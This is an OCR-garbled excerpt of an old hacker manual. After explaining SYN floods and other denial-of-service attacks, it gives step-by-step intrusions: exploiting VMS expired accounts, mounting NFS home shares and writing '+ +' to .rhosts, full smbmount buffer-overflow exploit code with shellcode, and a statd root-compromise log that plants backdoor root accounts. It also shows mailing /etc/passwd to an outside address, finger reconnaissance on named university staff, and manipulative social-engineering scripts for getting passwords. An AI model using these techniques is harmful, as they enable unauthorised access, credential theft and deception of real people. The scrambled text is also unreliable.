Your conputer has becone the target of a nmmlicious attack known as TCP/IP "SYN Fl oodi ng" or
"SYN Attacks."

"Comput er hackers" can target an entire nachine, or a specific TCP service such as web
services. The attack is focused on the TCP protocol used by all conmputers on the Internet, and is
not specific to the Wndows NT operating system

How SYN Fl oodi ng Wor ks

SYN Fl ooding works as follows: (see also CERT(sm Advisory CA-96.21 at
ftp://info.cert.org/pub/cert_advi sories)

- A TCP connection request (SYN is sent to the target conputer. The source |P address in the
packet is "spoofed," or replaced with an address that is not in use on the Internet, or that

bel ongs

to anot her conputer. An attacker will send many of these TCP SYNs to tie up as many resources
as possible on the target computer.

- Upon receiving the connection request, the target conputer allocates resources to handl e and
track the new connection, then responds with a "SYNNACK". In this case, the response is sent to
the "spoof ed" non- existent |P address.

- No response is received to the SYN-ACK. A default-configured Wndows NT 3.5x or 4.0

conmputer will retransmt the SYNNACK 5 tines, doubling the tinme-out value after each

retransm ssion. The initial tinme-out value is three seconds, so retries are attenpted at 3, 6, 12
24, and 48 seconds. After the last retransmni ssion, 96 seconds are allowed to pass before the
conmputer gives up on receiving a response, and deal |l ocates the resources that were set aside
earlier for the connection. The total elapsed tine that resources are in use is 189 seconds.

If you suspect that your conputer is the target of a SYN attack, you can type the foll ow ng
command at a conmand pronpt to view connections in the "SYN RECElI VED' state:

netstat -n -p tcp

If a large nunber of connections are in the SYN RECEI VED state, it is possible that the system
i s under attack. A network analyzer can be used to track the problemdown further, and it nay be
necessary to contact your Internet Service Provider for assistance in attenpting to trace the
sour ce.

The effect of tying up connection resources varies, depending upon the TCP/IP stack and
applications listening on the TCP port. For nobst stacks, there is a limt on the nunber of
connections that can be in the half-open (SYN RECEI VED) state. Once the linit is reached for a
given TCP port, the target conputer responds with a reset to all further connection requests unti
resources are freed.

[13.3.6] Land Attack

Land Attack sends SYN packets with the same source and destination |IP addresses and the

same source and destination ports to a host conputer. This nakes it appear as if the host
conmput er sent the packet to itself. Wndows NT operates nore slowy while the host conputer
tries to respond to itself.
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[13.3.7] Teardrop

Two specially fragmented | P datagrans are sent to the victim The first is the 0 offset fragnment
with a payload of size N, with the M- bit on (data content is irrelevant). The second is the |ast
fragment (M- == 0) with a positive offset < Nand with a payload of < N. The fragnented
datagrans will try to realign thensel ves, however, the payload of the current fragnment does NOT
contai n enough data to cover the realigning. This will cause a reboot or a halt, depending on how
nmuch physical nenory you' ve got.

[13.3.8] Pentium Bug

When an Intel processor receives a specific invalid instruction, your conputer rmay stop
respondi ng (hang). Your conputer mnust be turned off and restarted to return to nornal operation
If you execute FO OF C7 C8 on a P5 it will lock the nmachine up

[14.0.0] VAX/ VM5 Makes a coneback (expired user exploit)

This is an explenation of a vax exploit that discover. The exploit

functions in that when a usernane has expired it doesnt del ete the username

it just puts a new password on the usernane named tenporary password. Unti

the user can input a new password to reactivate his account. | will explain

this exploit step by step but this text is intended for a nore advanced reader. Renenber
VAXIVMS is a very secure area to work in you can get

caught if you dont know what you are doing. Well in this text i will give

you a server that has this exploit so you can verify it yourself.

Another thing is that you need to know about how to use the tel net program

if you dont know get a guide and start |earning before using this.

Step by Step explanation: (if you dont own an account on the VMsS/ VAX)

[14.0.1] Step 1:

Fi nger the users of the server if you have a finger utility, but you need one that gives

you

the | ast date | ogin.

[14.0.2] Step 2:

Get the usernanes that have an old date |like a year ago, basically, sonething that | ooks
expired.

[14.0.3] Step 3:

Now goto to the login screen of the server type in the usernane

When it pronmts you for a password you will type the word tenp. Now for this

monment you will be entering the vax systemand it will pronpt you to type a

new pssword because the password has expired. As you can see you now owned

a user priviledge account.

[14.0.4] Note:

The easiest way to find systenms that are exploitable is to check universities. As we know nost
universities issue students usernanmes that are the first letter of their first name and then their
whol e | ast nanme. Exanple: If your nane is John Doe your usernane woul d be jdoe. So the best
thing you can do is finger universities and try to find as pointed out earlier user nanes that
have

the last login date of a year or so ago.

-Props to Hellmaster for the technique.

[15.0.0] Linux security 101

So you just got the latest linux distro installed? Wiat now? How about a bit of security.

You need to inmedi ately secure your systemafter installation if you want your O-day sploits to be
safe (especially if you hang out on irc). Here | will try and show ways to prevent renote and

| ocal

attacks. These techniques should work on redhat and debian, but it is primarily nade for

sl ackware, the best distro out there.

[15.0.1] Step 1: pico /etc/inetd.conf . This file tells inetd what daenons to open up each tine
itis

run. | generally only keep ftpd available to | ocal host and telnetd open to all. C ose up any
services that you feel are not inperative to keep you running by sticking a # in front of the
service

name.

[15.0.2] Step 2: Perm ssions. Make sure that your root directory is only readable to root to
prevent users from snooping. Type: chnod 700 /root . Also, make sure that only the correct
owner can snoop through hone directories. cd /hone ; chnod 700 * . That should do it. Next,
chnmod 700 /mt ; chnod 700 /floppy ; chnod 700 /cdrom . Then you shoul d have all the
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perm ssions setup correctly.

*Side note: You may want to only use X-wi ndows as root (thats what | do), as X-win binarys are a
good way to exploit a system So nmaybe do a chnmod 700 /usr/X11l/bin ; chnod 700

/usr/ X11R6/bin .

[15.0.3] Step 3: RPC services. Try typing rpcinfo -p | ocal host and see what you get. Renenber
the results and go into /etc/rc.d . Look through those files for the various rpc servers.
Conmment

the rpc services as needed in those files. Al npbst every renote procedure call is exploitable.
Its

better just not to run em

[15.0.4] Step 4: Install ttysnoop. ttysnoop allows you to see what users are doi ng when they |ogin
to your box. Heres how to install: Type pico /etc/inetd.conf and stick a conment (#) in front of
the line that reads:

telnet streamtcp nowait root /usr/shin/tcpd in.tel netd

Then |l ook 3 lines below. You will see:

#telnet streamtcp nowait root /usr/sbhin/tcpd /usr/sbin/in.tel netsnoopd

Uncomment that line, and save the file. Then restart inetd by typeing:

ps -aux | grep inetd

(get the pid #)

kill -9 (pid #)

i netd

Then it should be restarted and you can try it out by telneting to |Iocal host and |logging in , and
then in another w ndow type wto find out what tty you just |logged into and then type: ttysnoop
ttyp# . You should now be able to see everything that the user types in. Very effective.
[15.0.5] Step 5: Watching them You should al ways be aware of who is on your system at any
given time. A good way to do this is to, if you are in X-wi ndows, type xconsole -font 5x8 -file
/var/ | og/ nessages -geonetry 550x80 . This will open a small xconsole wi ndow that will tel you
who is connecting to you. Keep this in a bottomcorner. The next step is to get tcpdunp. Find
it

at sunsite. type tcpdunp in a smaill xterm and keep that in another corner. Wat that will do is
show you every single little connection to you. Such as connections from every port.

[15.0.6] Step 6: M sc security prograns.

-SSH : Secure shell- This programis a replacenent to telnet, so

that your passwords cannot be sniffed. It uses encryption

to connect to every server that you telnet to. Mre and

nore servers are using this everday because of the grow ng

threat of hackers. O course, the renote server that you

are telneting to has to run SSH as well for it to work =)

-Lightbar : Login Security- This programis basically a

replacenent to /bin/login. It is EXTREMELY

custom zabl e and provides that extra edge of security

to your | ogin sequence.

-COPS : Conputer Oracle and Password System This nice little

program automatically scans your system for

m sconfigurations and warns you of the weaknesses. Its an

an excellent way to systematically check for file

perm ssi on m st akes.

By followi ng the above steps, you have stopped about 99.8% of all hackers breaking into your
system (Just hope you dont nmeet up with some russian hacker =) You will be invincible on IRC
Considering in all nmy time with Linux, |Ive never been hacked. Peace out.

- Phreak-0 (Phreak_O@otnmail.com

Thanks to Phreak-0 for that portion

[16.0.0] Unix Techniques. New and O d

[16.0.1] Showibunt Techni que

This is an old school technique that nost hackers don’t know. The two conmands you need to

| earn are showrount and mount.

They are used in the foll ow ng way:

I ntercore: ~#mount server.com/renotefol der /| ocal fol der

After you issue the command then do cd /Il ocal folder and you will be on the renpte conputers
shared fol der. The renotefolder is the folder of the renpote systemthat you want to nount. The
| ocal folder is where you want the renpote folder to appear to be on your system So if you do
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mount server:/renote /mt then when you are on your |ocal systemyou can do cd /mt and
browse around inside that folder. The contents of that folder will be the contents of the renote
fol der that you shared.

[16.0.2] DEFI NI TIONS

shownount lists all the clients that have renptely nounted a fil esystemfromhost. This
information is maintained by the nountd server on host, and is saved across crashes in the
file

/etc/rntab

-e Print the list of shared file systens.

mount attaches a file systemto the file systemhierarchy at the nount_point, which is the
pat hnane of a directory. If nount_point has any contents prior to the nmount operation, these
are hidden until the file systemis unnounted.

umount unnmounts a currently nmounted file system which may be specified either as a

mount _point or as special, the device on which the file systemresides.

rhosts The files specify renote hosts and users that are considered trusted. Trusted users are
all owed to access the |local systemw thout supplying a password. The renpte authentication
procedure determ nes whether a user froma renote host should be allowed to access the

| ocal systemwith the identity of a |ocal user. This procedure first checks the

/ etc/ hosts. equi v

file and then checks the .rhosts file in the hone directory of the local user who is
requesting

access. Entries in these files can be of two forns. Positive entries allow access, while
negative

entries deny access. The authentication succeeds when

a matching positive entry is found.

host name [user nane]

The special character "+ can be used in place of either hostname or usernane to match any
host or user. For exanple, the entry

+ +

gi ves any user at any host access to the shell w thout supplying a password.

rpci nfo makes an RPC call to an RPC server and reports what it finds. In the first synopsis,
rpcinfo lists all the registered RPC services with rpcbind on host.

rpcinfo -p [host]

A shownount on ninja.comwould | ook |ike this:

I nt er Cor e: / hone/ chamel eon/ $/usr/sbi n/ showrount -e ww. ni nj a. com

export list for www ninja.com

/ hone Everyone

/usr elite.ninja.com

[var samuri.ninja.com

I nt er Cor e: / hone/ chanel eon/ $

The first section is the folder nane. The section part is who has access. If it says Everyone then
anyone at all can access that folder. If it has an address like elite.ninja.comonly people from
elite.ninja.comcan access that folder. If there is a users folder shared or a hone fol der etc...
t hat

is shared to everyone then you can gain a user account to the system You would do the
following. Say we use ninja.comas an exanple. W earlier saw that we have access to /hone we
woul d then nount /hone and goto a users directory and create us an rlogin for the system The
attack woul d be as foll ows.

I nt er Cor e: / hone/ chanel eon$ /usr/ sbi n/ shownount -e ww. ni nj a. com

export list for www ninja.com

/ hone Everyone

fusr elite.ninja.com

[var samuri.ninja.com

Now, you must su to root to have access to mount things to various folders on the system

I nt er Cor e: / hone/ chanel eon/ $su

Passwor d:

I nt er Cor e: / hone/ chanel eon#

I nt er Core: / horre/ charel eon# nmount www. ni nj a. com / hone / nmt

InterCore:# cd / mt

InterCore:/mt/ # Is

jmnal | er paget pantourt papabear parsetru pathenry patsyk paul avic
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pal230 pai ntere pandon papas partsnman patio patti 778 paul d
pac pai ntroc panel aj pappabea patai ki patj pattic pauline
packers paiyn panel at papryor pataul patjohn pattie paulj
paddock pal panmh parisl patbrady patnon pattil paulll
padgettr pal adin panomary parkerh patc patnraz pattygae paul pj
What you are |l ooking at here is the contents of www. ninja.conms home dir
Now | ets add one of their users to our passfile, so we can becone them
InterCore:# pico /etc/passwd
add the lines:
pantourt::200: 10023: Pam Court:/ hone/ chamel eon/ mt/ pantourt/:/bi n/ bash
N---we put this as the hone dir, because this is
wher e
the mounted hone directory is |ocated.
now, login locally as pantourt
I nt er Core:/ mt/hone/ pancourt/$ whoam
pancourt
I nterCore:/ mt/hone/ pantourt/$ echo "+ +" > ~/.rhosts
This will nmake the rhosts entry as ++, which neans anyone can renotely i ssue comrands from
it. Now, we remotely login to ninja.comas panctourt
I nt er Core: / mt/ home/ pantourt/ $rsh -1 pantourt ww. ninja.com csh -
Wl conme to ninja.com
W are lame and |l eft open a filesharing backdoor
You therefore have a shell on ninja.com The rsh and rlogin syntax is as foll ows:
rsh [ -1 login] [ -n] host comrand
rlogin[ -E| -ex ] [ -| username ] [ -8 ] [ -L ] host
That is how to gain a user account onto a renmote system Also if you can spoof your dns or
maybe the server has a router on it etc...that you can bounce through you could therefore
access any files that are shared to that restricted host. Ex: in our above exanple if we spoofed
as
elite.ninja.comwe would then have access to /usr. Although this technique is old it still works
on
many servers. So learn it and use it.
To check if a server has filesharing do: rpcinfo -p server.com
terra:/home/m ngi/.noid $rpcinfo -p oberon. cal statel a. edu
programvers proto port service
100000 4 tcp 111 rpchind
100000 3 tcp 111 rpchind
100000 2 udp 111 rpchind
100004 2 udp 713 ypserv
100004 2 tcp 714 ypserv
100003 2 udp 2049 nfs
If it has a like the above one that says nfs, then it has fil esharing.
[16.0.3] COVPARI SI ON TO THE M CROSOFT W NDOWAS FI LESHARI NG
NBTSTAT —a www. ni nj a. com woul d show the NetBI OS Statistics which includes shared fol ders
(directories)
C.\nbtstat —-A 204.73.131.11
Net Bl OS Renpt e Machi ne Nane Tabl e
Nane Type Status
STUDENT1 <20> UNI QUE Regi stered
STUDENT1 <00> UNI QUE Regi stered
DOVAI N1 <00> GROUP Regi stered
DOVAI N1 <1C> GROUP Regi stered
DOVAI N1 <1B> UNI QUE Regi st ered
STUDENT1 <03> UNI QUE Regi stered
DOVAI N1 <1E> GROUP Regi stered
DOVAI N1 <1D> UNI QUE Regi st ered
__ VSBROWSE . <01> GROUP Regi stered
MAC Address = 00- C0- 4F- C4- 8C- 9D
C. \net view 204.73.131.11
Shared resources at 204.73.131.11
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Share nane Type Used as Coment

NETLOGON Di sk Logon server share

Test Di sk

The conmmand conpl eted successful ly.

C.\net use x: \\204.73.131. 11\t est

The conmand conpl eted successful |y.

[16.0.4] SMBXPL.C

/*

The default parameters to the program

of ten work, however | have found that the offset paranmeter sonetines
varies wldly, values between -600 and -100 usually work though, a quick
shell script will scan through these.

*/

/*

** snbexpl -- a snbrmount root exploit under Linux

* %

** Author: Gerald Britton <gbritton@i h.gov>

** This code exploits a buffer overflow in snmbrmount from snbfs-2.0. 1.
** The code does not do range checki ng when copying a usernanme from

** the environnent variables USER or LOGNAME. To get this far into

** the code we need to execute with dummy argunents of a server and a
** ppuntpoint to use (./a in this case). The user will need to create
** the ./a directory and then execute snbexpl to gain root. This code
** s also setup to use /tnp/sh as the shell as bash-2.01 appears to
** do a seteuid(getuid()) so /bin/sh on my systemwon't work. Finally
** a "-@Q (an invalid commandl i ne argunent) causes snbnount to fail when
** parsing args and ternminate, thus junping into our shell code.

** The shellcode used in this program al so needed to be specialized as
** smbnount toupper()'s the contents of the USER variable. Self nodifying
** code was needed to ensure that the shellcode will survive toupper().
** The quick fix for the security problem

** chnod -s /sbin/snbrount

** A petter fix would be to patch snbmount to do bounds checki ng when
** copying the contents of the USER and LOGNAME vari abl es.

*/

#i ncl ude <stdlib. h>

#i ncl ude <stdio. h>

#defi ne DEFAULT_OFFSET -202

#defi ne DEFAULT_BUFFER_SI ZE 211

#defi ne DEFAULT_ALI GNVENT 2

#define NOP 0x90

/* This shell code is designed to survive being filtered by toupper() */
char shellcode[] =

"\ xeb\ x20\ x5e\ x8d\ x46\ x05\ x80\ x08\ x20\ x8d\ x46\ x27\ x80\ x08\ x20\ x40"

"\ x80\ x08\ x20\ x40\ x80\ x08\ x20\ x40\ x40\ x80\ x08\ x20\ x40\ x80\ x08\ x20"

"\ xeb\ x05\ xe8\ xdb\ xf f\ xf f\xff"

"\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0\ xOb"

"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd"

"\ x80\ xe8\ xdc\ xf f\ xff\xff/tnp/sh";

unsi gned | ong get _sp(void) {

__asm_("movl %esp, Yeax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

| ong *addr_ptr, addr;
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int of fset =DEFAULT_OFFSET, bsi ze=DEFAULT_BUFFER_SI ZE;
int alignment =DEFAULT_ALI GNIVENT

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) alignnent = atoi(argv[3]);
printf("bsize=%l offset=% alignment=%l\n", bsize, of fset, alignment);
if (!'(buff = malloc(bsize))) {

printf("Can't allocate nenory.\n");

exit(0);

}

addr = get_sp() - offset;

fprintf(stderr,"Using address: Ox%\n", addr);

ptr = buff;

addr_ptr = (long *) (ptr+alignment);
for (i = 0; i < bsize-alignment; i+=4)
*(addr _ptr++) = addr;

for (i =0; i < bsizel2; i++)

buff[i] = NOP

ptr = buff + (128 - strlen(shellcode));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

setenv(" USER', buff, 1);

execl ("/sbin/smbmount ", "snbrmount","//a/a","./a","-Q", 0);
}

[16.0.5] Basic Unix Comrands

pwd - Shows the current directory that you are in.

cd — change directory. Ex: cd hack would put you into the directory hack

cd .. would drop you back 1 directory. So if you are in /hone/chanel eon and you type cd .. you
woul d then be in /home

Is — List files. Is —a to show ALL files. Is -l to list files in long format with byte size etc..
Is —la to do

bot h.

chnmod — This conmand changes permissions of a file or directory. The syntax is as follows:

chnod who+, -, =r, w, X

who can be u (user) g (group) o (other) a (all)

The + neans to add the permission and - neans to renove the pernission

cat — This prints out stuff to the screen. Such as files. Ex: cat /etc/passwd this would print the
password file to the screen. You could also do cat /etc/passwd > password.txt this would redirect
the out put of passwd into the file password.txt, that is what the > is used for

passwd — Changes password to a users account.

ps — Shows what processes you have running. ps —e will show everything that you have running.
grep — Searches for words that you specify. This can be used to search a file for a certain word
Ex:

$ grep rhino9 elite.txt

Rhino9 is elite...

$

we could also use this to find a usernane with out a password in the passwd file. W would do

cat /etc/passwd | grep ::

m/ — Moves (renane) files and directorys. Syntax: mv filename newfil enane You can al so pass

fol der argunments such as nv /etc/passwd /etc/passwd. t xt Exanpl e nv command.

$1s

r hi no9

$ nmv rhino9 rhino9.txt
$1s

r hi no9. t xt

$

cp — Copy. Syntax: cp filenanme copiedfil enane You can al so pass fol der argunents
ex: cp /el beer cp /elbeer.txt
man — Manual pages. Syntax man commandyouneedhel pon. Ex: man grep woul d give you help
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on the grep comand

--help — Get help on certain comands. Ex: finger —help

nkdir — Creates a directory. Syntax: nkdir newdirnane

rmdir — Renoves a directory. Syntax: rndir dirnane

rm— Renoves files and folder. Syntax: rmfilename rm—-R fol dernane (npbst systens)

wite — Wite to another users ternminal. Syntax wite user ttynane then hit enter then type stuff
then ctrl +d

mesg — Turns on or off wite access to your terminal. Syntax: mesg y (on) nesg n (off)
su — Wiile you are already logged into a system You can log in with another account. su
user name

w — Shows who is online.

who — shows who is online.

[16.0.6] Special Chracters in Unix:

* - matches any nunber of single characters eg. $ Is john* will list all files that begin wth
j ohn

[...] - matchs any one of the chracter in the [ ]

? - matches any single chracter

& - runs a process in the backgroung | eaving your termnal free

$ - values used for variables also $n - null argunent

>- redirectes output Is -la > /tnp/list

< - redirects input to come froma file

>> - redirects conmmand to be added (appended) to the end of a file

| - pipe output (eg: cat /etc/passwd | nmail tk85@otnmail.comwll nmail tk85@otmail.comthe
[etc/passwd file)

[16.0.7] File Perm ssions Etc.

-rwxrwxrwx 1 user group 5 Dec 22 12:52 fil enane

The first section is the file permssions, read & wite etc.

If the first character is:

- is an ordinary file

- is adirectory

- is a block file

c - is a character file

The next 3 characters after the first char, are the owners rights to the file. They can be r or w
or X

or all 3 or whatever. The second 3 characters are the group rights to the file and they can be r
or

wor x or all 3 or whatever. The last 3 characters are everyone elses rights to the file and they
can

be r or wor x.

r — read

w- wite

X — execute

The next section after —rwxrwxrwx is how many files are within that folder. If it is not a folder
t hen

it will be 1 and if it is a folder then it will be how many files are in it. The next section
after that is

t he usernane section. It is the username of the owner of the file. So therefore whoever’'s nane is
there has the owner rights as described earlier. Then after that is the groupnane. It is the nanme
of the group that the file is in. Watever the groupnane is the group rights apply to it. Then
cones the file size then the file date and lastly the file nane.

Passwd Entry Break Down

chanel eon: k54doPeHt e: 0: 0: root of all evil:/hone/chanel eon:/bin/bash

NNNNNNNNN NNANNNNNANNNNAN N N ANNANNNNNNN ANNNANNNANNNNNNNN NANNNNNANNNN

ABCDEFG

oQ !

Usernanme | Encrypted pass | user id | group id | comments | home directory | shell the user uses
ABCDEF

G

[16.0.8] STATD EXPLO T TECHN QUE

Statd |Is one of the best c file exploits in a long time. Statd single handedly exploits SunCS X X
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&

Sys V systenms. It works by exploiting a buffer overflow through rpc and drops you into root on a
renote system There are statd scanners and other neat tools that can be found at,

www. d- | ab. com ar/ sekret/warez (home of the fanbus Code Zero). Once you have the statd exploit
program (runs on sone sunos & sys v servers) you will want to either use a scanner to scan a
large list of servers for statd exploitable ones. One good way of finding statd expl oitable server
is

goi ng to yahoo and then searching for “sys v’ then try the different servers that yahoo finds. You
can use a programcalled “hosts” by Devix that will dunp server nanmes fromhtm files. So if you
goto yahoo and then search for sys v you could dunp all the serves into a text file with the hosts
program and then use a statd scanner to have it check for statd exploitable servers. Devix's hosts
program can be found on the rhino9 site. Gk so say you have found a statd able server. You type
at your pronpt statd server.comHere is a log of an actual hack using statd. Note: Conments

have *'s around t hem

I nt er Cor e: / hone/ chanel eon/ $statd www. vi cti m com

*This server is statd exploitable but the server adnm n has been notified so don't try it.*
rpc.statd is |located on tcp port 44417

sent exploit code, now waiting for shell...

*first thing to do is type, w, to see who is on and if any sysadm ns are active*

# w

5:27am up 3 day(s), 6:35, 4 users, |load average: 0.05, 0.06, 0.07

User tty login@idle JCPU PCPU what

gabe pts/3 Sat lam 2:38 1:37 -tcsh

gburgyan pts/4 Frillpm55 20 2 pine

gabe pts/5 Sat 7am 3:08 29 -tcsh

gburgyan pts/8 Mon 4am 23: 22 16 -tcsh

*Note: statd is not telnet so you wont show up when someone does w etc.. so you are a ghost*

# cat /etc/passwd

root:x:0:1: System Admi ni strators:/:/sbin/sh

daenon: x: 1: 1: 0000- Adm n(0000) : /:

bi n: x: 2: 2: 0000- Adni n( 0000) : / usr/ bi n:

sys: x: 3: 3: 0000- Admi n(0000):/:

adm x: 4: 4: 0000- Admi n( 0000) : / var/ adm

kane: x: 539: 107: Kane Products FTP account:/usr/ww/ docs/ kane/:/bin/true

ecco: x: 540: 107: ECCO / usr/ww/ cl i ent s/ ecco/ :/bin/true

i odat sys: x:541:107:1/0O Data Systens:/usr/ww/ clients/iodatasys/:/bin/true

neal schu: x: 542: 107: Neal Schuman FTP Account:/usr/ww/ clients/neal schuman/:/bin/true
jjames: x:543: 107: Joanne Janes:/ hone/jjames:/bin/tcsh

nl ock: x: 543: 107: nl ock: / home/ m | o: / bi n/tcsh

xl ock: x: 0: 1: xl ock: /:/shin/sh

# echo bObby: x: 542: 107: Rhi no9 owns bitch:/usr/rhino9/:/bin/tcsh >> /etc/passwd

# echo bOb: x: 0: 1: Rhino Root:/:/sbhin/sh >> /etc/passwd

*What this does is copys a |low | evel user bObby and a root user bOb. Renenber that 2 >>s nmke
the stuff appened to the passwd file. If it was one > then the whole thing would be over witten
and that is not good!*

# cat /etc/shadow

root: j LKY54WA3Teeo: 10200: :::::

daenon: NP: 6445: :::::

bi n: NP: 6445::::::

sys: NP: 6445: :::::

adm NP: 6445::::::

kane: *LK*:::::::

ecco: J/ f78z945yJi Q 10199::::::

i odat sys: k/ F455ygv0Il Ko: 10199::::::

neal schu: Z1t e54ytj IJxtyY: 10199: :::::

jjames: q1dMg453A0LYLE: 10199: :::::

nl ock: hEcxTL/ 4353p3FU: 10216: :::::

xl ock: :10200::::::

# echo bObby::10199:::::: >> /etc/shadow

# echo bOb::10200:::::: >> /[etc/shadow

*You rmust do the passwd and shadow echos as we have show here if the system uses
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shadowed passwords. \What we have just done is add the logins to the shadow password*
#

*Now press control + ][ Then hit enter*

DropStatd> quit

*Type quit at the pronpt. You are now back on your system Now telnet back to www. victimconr
I nt er Cor e: / hone/ charel eon/ $ tel net www. victi mcom

Trying 205.133.121. 210..

Connected to deal s. 4deal s. com

Escape character is '*]".

UNI X(r) SystemV Release 4.0 (hq)

| ogi n: bObby

*Then it will ask you to set a password*

Vi cti nCor p$ su bOb

#

*What we did the was su into bOb, our root account. Now set a pass for bOb*

# passwd bOb

*Enter your pass*

There you go that basically all it takes to get root onto a systemthat is statd expl oitable.

Thank you to solo for that mad phat exploit.

[16.0.9] System Probing

The following are ways in which to gather information froma target host.

For the rest of this topic we will refrer to the target site which will be ninja.com

These are in no order and are nostly unix commands used to gather information about a system
[16.1.0] Port scanning:

You can find many port scanners on the internet. Search yahoo for portscan etc...

What is a port scanner?

What a port scanner does is it checks a renote host for open ports, ports listening for a
connection request or renote services etc...The inportance of port scanning a systemis to find
out the services it has open. If we know what services a server has open we can then research
and try to find flaws for those services. Also we can do certain DoS attacks if we know what ports
are open. There are many port scanners. Sone of the nore advanced ones are for unix and can
not |leave a trace on the renpte server that you port scanned.

[16.1.1] rusers and finger command:

The commands syntax are as foll ows:

rusers [-a] [-h] [-i] [-I] [-u] [host ...]

finger

-v, --version display version nunber

-i, -1, -m --info display full user information

-b, -s, --brief opposite of --info; only display |ogin records
-f, --faces display rmugshot for user

-P, --port #p connect to finger daenobn using port or service #p

-h, --help display this nessage

Now you will find however that nost servers have turned off finger services. A nost no

W ndowsNT servers have finger services and nost unix have shut off finger services. The rusers
command is to check for people logged in with rsh or rlogin (remote |ogin).

Side Note: There used to be an old bug in rlogin where you could type: rlogin —lroot victimcom
and when the renote server parsed the data it would not read right and you woul d get root

access however this technique is old and rarely works anynore. By using finger and rusers we

can get users nanmes and that right there can lead to access of a system Take nether.net for
exanmple. If you finger nether.net

(finger @ether.net) you will get a list of user names. Now its been my experience that systens
such as nether.net or places that give access to everyday users, 1 out of 70 or so users picks the
sanme user nane as there password. So it wouldn't take nuch tinme to finger @ether.net then
telnet to nether.net and try all the users you got fromthe finger. Al so since you have gotten a
Iist

of usernanes from finger nether.net you could then send e-mails to the users saying that you are
a systemofficial at nether.net and need to verify there password etc...You woul d be surprised
what a little mnd games can do for you. Al so a good

finger —I @ictimcomcan give you information such as the last time a user logged in, what type
of shell there account is set to use, and where there hone directory is. W can also watch for
patterns in a users access to a system W could see whether they cone on at night or during the
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day. To drop back to the thing of knowi ng about a person and there information to try and guess
or talk themout of there password. Here is a finger on purdue. Look at the interesting

i nformation

we can get.

I nt er Cor e: / hone/ chamel eon/ $finger @urdue. edu

[ pur due. edu]

To use finger to search the Purdue El ectronic Directory Service, specify your

query as a person's given name. You can specify just a last nane, a first

name and a | ast name, or a first nane, |ast name, and middle initial, by

separating themw th periods or commas. For exanple,

finger smyth@urdue. edu

finger snyth, veroni ca@ur due. edu

finger veronica.j.snyth@urdue. edu

Note: there was a lot nore then this but | snipped it to make this shorter. Basically what it is
saying is you got to put a user @erver.cominstead of just server.comor in this case,

pur due. edu.

I nt er Cor e: / hone/ charel eon/ $

So by looking at what it said | see it says finger snyth@urdue.edu as an exanple. Now this is
probably the same exanple that comes with this particular finger daemon but what the hell, lets
try it.

I nt er Cor e: / home/ chanel eon/ $finger snyth@urdue. edu

[ pur due. edu]

Qut put of your query: snyth

Name Dept/ School Phone Status

Emai |

veronica j snyth computing center +1 777 99-99999 st aff

<no emni | address avail abl e>

m chael steel snyth engineering and tec student

<no emil| address avail abl e>

barbara j wilson smyth liberal arts and sc student

<no enmi |l address avail abl e>

william paul snyth freshman engi neerin student

<no emni | address avail abl e>

erin margaret snyth science student

<no emai| address avail abl e>

cheryl lynn snyth liberal arts student

<no emmi| address avail abl e>

For a nore detailed response, finger "query_snyth@irectory. purdue. edu”.

For hel p, finger "hel p@irectory. purdue. edu”

I nt er Cor e: / hone/ charel eon/ $

Now this helps us in some ways and doesn’t. W can see through this finger full names of
students and what there major is. So what you ask? You know how nuch information you can get
from someone’s I egal full nane? Chaneleon will teach you how nuch later on in this document.
So yes this finger was good because it got us personal information about a few account hol ders
at purdue. edu even an adninistrators nunber but, what are the user nanes to these accounts?
Well nost universities issues there students accounts in the same way. They usually make the
usernanme for a students account first letter of first nane and then full last name. So if your
name

is Kevin Hall your user name woul d be khal |l @urdue. edu. Now we could then try and finger that
user. So we would do the follow ng:

I nt er Cor e: / home/ chanel eon/ $finger khal | @urdue. edu

[ pur due. edu]

Qut put of your query: khal

Name Dept/ School Phone Status

Emai |

Kevin G Hall conputing center +1 213 463-6694 student

khal | @ur due. edu
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For a nore detail ed response, finger "query_khall @irectory. purdue. edu”.
For hel p, finger "hel p@irectory. purdue. edu"

I nt er Cor e: / hone/ chanel eon/ $

We see that the finger daneon says for a nore detail ed response to do
finger query _khall @lirecroty. purdue. edu So we type in the comand

I nt er Cor e: / hone/ chanel eon/ $finger query_ khal | @lirectory. purdue. edu

[ scribe. cc. purdue. edu]

Qut put of your query: query_khal

name: Kevin G Hal

canpus: west | afayette

title: sen syst anlyst/sen pace tech cons

departnent: conputing center

bui | di ng: potr

of fi ce_phone: +1 765 49-68285

emai | : khal | @urdue. edu

For help, finger "hel p@irectory. purdue. edu”.

I nt er Cor e: / hone/ chanel eon/ $

Now this is interesting. W have a user nane, khall, we have the users full nanme, Kevin G Hall
and we know his title and departnment. So fromthis information you will learn |ater you can get
hi s

hone phone nunber and address. |If we were to give the student a call at their house or dorm
etc...t wouldn’t be too hard for anyone with a little bit of social engineering skills to talk
this user

out of his password.

There is a basic exanple of how to get information about a | ogged on user

[16.1.2] Mental Hacking, once you know a usernane.

Note: This is nostly going to work for systens that provide users with accounts and not conpany
servers.

If you (the (cracker/hacker) are a Male then you would want to try to finger and get a username of
a wonan. You could then do 2 things. You will probably get there full name but if not read ny
(chanel eons) | ater paper about getting people’s information. For sinplicities sake say you

al ready have the users phone nunber which m ght sound hard to do but isn’'t. So say you have

their phone nunber and it’'s a woman. Call the lady up. A true social engineer will know right
away what kind of woman it is. On you can push over and nmow down or one that has a strong

head on her shoulders. |f she answers and sounds | ane then go for the approach of a stern voice
saying its inperative etc...that you verify her user nane and password. If the |ady seens to have
a strong head on her shoulders then you would want to talk nicer and flirt a bit. If you are a
woman (cracker/hacker) then you will want to find a nales account. Wnen let nme tell you this.
The best hackers and crackers out there are wonen. If you are a woman then you will want to try
to get into a nale’s account. Once you have a mal e account hol ders phone nunber call himup

Wonen you got it easier see you don't need to know what type of guy it is. Al guys are horny. So
talk with your sexy voice. Flirt with themetc...It is easier for wonen to tal k peopl e out of
passwords. If you are a guy (cracker/hacker) and are trying to get a guys password then have a
girlfriend of yours try to do it. Renenber this nost of all, KNONthe person you are calling. You
could call themup and tell themyou are fromthe |l ocal high school and are doing a survey and
